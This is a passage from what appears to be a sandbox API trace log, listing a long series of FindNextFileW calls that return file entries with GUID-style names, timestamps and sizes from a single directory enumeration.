ftLastAccessTime.dwLowDateTime=0x98834842, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{1312ADBB-3D3B-423F-AA97-1A3E9F16657A}", cAlternateFileName="{1312A~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b74b076, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b74b076, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{13195EA8-15F2-47D9-A532-E81062D4B757}", cAlternateFileName="{13195~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9893f8b9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9893f8b9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{16DAFC99-00F8-4C05-A46A-BCB142A0CCD2}", cAlternateFileName="{16DAF~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98775c73, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98775c73, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{197DFB5F-C4AA-4B34-9390-72C57DC8BFF8}", cAlternateFileName="{197DF~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9893f8b9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9893f8b9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{1E2A2306-C9C1-4028-A5D7-F2EC7326097B}", cAlternateFileName="{1E2A2~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993d3fe9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x993d3fe9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{238B3853-BA53-44A6-88BA-A0867B43ED76}", cAlternateFileName="{238B3~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9927cac9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9927cac9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{25F897FC-E052-47D8-81FA-058F7D44DB07}", cAlternateFileName="{25F89~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb5100e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bb5100e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{27F05FEC-A9C6-4C1E-B218-39AC437A0419}", cAlternateFileName="{27F05~1")) returned 1 [0180.263] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{2ADB8C14-DCB4-40AE-8D64-88007C912021}", cAlternateFileName="{2ADB8~1")) returned 1 [0180.263] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4fb205, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xee4fb205, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{2BC99385-EF59-444C-A32A-68291A8E5017}", cAlternateFileName="{2BC99~1")) returned 1 [0180.263] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3817298a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3817298a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{2C93380E-CAC6-43B0-86B5-A8096D4CDF2D}", cAlternateFileName="{2C933~1")) returned 1 [0180.263] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1f5fb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98d1f5fb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x40518d21, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{2E978839-21C5-49A6-AD08-F9DAFC903070}", cAlternateFileName="{2E978~1")) returned 1 [0180.263] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98b7bc11, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98b7bc11, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{33305276-2049-4128-AEEC-B9A21214B851}", cAlternateFileName="{33305~1")) returned 1 [0180.264] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380416c0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380416c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{3C789AEE-6106-4384-B319-0C96E1E71678}", cAlternateFileName="{3C789~1")) returned 1 [0180.264] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98bee32e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98bee32e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{3CE017FD-E6DA-4E49-A4D3-F69A0E563D90}", cAlternateFileName="{3CE01~1")) returned 1 [0180.264] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{3DB05D28-F3C3-449E-B7A6-31F664B2660E}", cAlternateFileName="{3DB05~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d6baad, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98d6baad, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{4A8A0B51-D1CB-4B42-A15C-6A3F7956552D}", cAlternateFileName="{4A8A0~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3817298a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3817298a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{4BCD2F54-44AE-4E42-B58F-3090783A3EC4}", cAlternateFileName="{4BCD2~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{4CCC5AFB-555C-44D5-892C-F0F2617C631D}", cAlternateFileName="{4CCC5~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{4DC87667-8E09-4718-960C-CACE353718FC}", cAlternateFileName="{4DC87~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{4E7056C1-8F8C-45DE-873F-DC08FDD509FD}", cAlternateFileName="{4E705~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380da02c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380da02c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{51B0B7BF-2B1A-4FE9-8814-408CD303875D}", cAlternateFileName="{51B0B~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{5202C284-5887-45AA-A00F-FDE7E88E85ED}", cAlternateFileName="{5202C~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{530FD476-4A81-49DE-B228-C202EACB8F92}", cAlternateFileName="{530FD~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380da02c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380da02c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{53F21F3D-8237-4CEC-A18E-8D26D784916C}", cAlternateFileName="{53F21~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98c14584, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98c14584, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{5534E575-0865-48C0-B802-046F4903AAF0}", cAlternateFileName="{5534E~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1f5fb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98d1f5fb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{5567FA0F-AE06-4D14-B697-1F596323F48A}", cAlternateFileName="{5567F~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9920a3b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9920a3b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{5637C49E-DEA6-4D65-B115-D7690B7A1CB0}", cAlternateFileName="{5637C~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb511781d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb511781d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{56628538-F2B6-49FB-9D10-354E728724C4}", cAlternateFileName="{56628~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb511781d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb511781d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{58BFC882-C01D-4396-BF26-A55720BADA37}", cAlternateFileName="{58BFC~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a88a0b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x99a88a0b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{5AB008CB-0CE6-4FFC-9BF2-A552FCBD0A3C}", cAlternateFileName="{5AB00~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0585cb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a0585cb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{5DB529E8-8819-4E86-B114-23BA7B771028}", cAlternateFileName="{5DB52~1")) returned 1 [0180.265] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9920a3b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9920a3b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4216695a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{60B864E9-702F-47ED-951E-4744ED9F9767}", cAlternateFileName="{60B86~1")) returned 1 [0180.266] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995ea0f7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x995ea0f7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{6BB31C2E-FA0C-4956-A18E-B11812B9C486}", cAlternateFileName="{6BB31~1")) returned 1 [0180.266] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a294928, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a294928, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{6BF1EC4C-18E6-43EE-9E47-5AF1592C4017}", cAlternateFileName="{6BF1E~1")) returned 1 [0180.266] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9e1c82, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a9e1c82, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{6EB6C718-25FE-4440-B4C1-BF3DE8ADFC98}", cAlternateFileName="{6EB6C~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9925685a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9925685a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{74E006B5-03B7-499C-A87A-98C01F00642C}", cAlternateFileName="{74E00~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb5100e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bb5100e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e5c5fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{754CB5B5-FC11-468D-8A43-AFE0C8CF4582}", cAlternateFileName="{754CB~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9927cac9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9927cac9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{77C47392-01FD-4E37-8CD4-29EA6C090EC5}", cAlternateFileName="{77C47~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992a2d25, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x992a2d25, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e5c5fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{77CE3801-C60A-4FC0-83AD-607CBE802B4C}", cAlternateFileName="{77CE3~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992a2d25, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x992a2d25, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e5c5fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{789219FF-53B5-44A2-8477-EF2C6EBA1B43}", cAlternateFileName="{78921~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995c3e9b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x995c3e9b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x442528d2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{7939D66A-9DE8-40A2-95E5-950A8ABC8F59}", cAlternateFileName="{7939D~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380da02c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380da02c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x442528d2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{7991069C-F81C-4E00-9CF7-E4893986E7E3}", cAlternateFileName="{79910~1")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992a2d25, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x992a2d25, ftLastAccessTime.dwHighDateTime=0x1d32744, 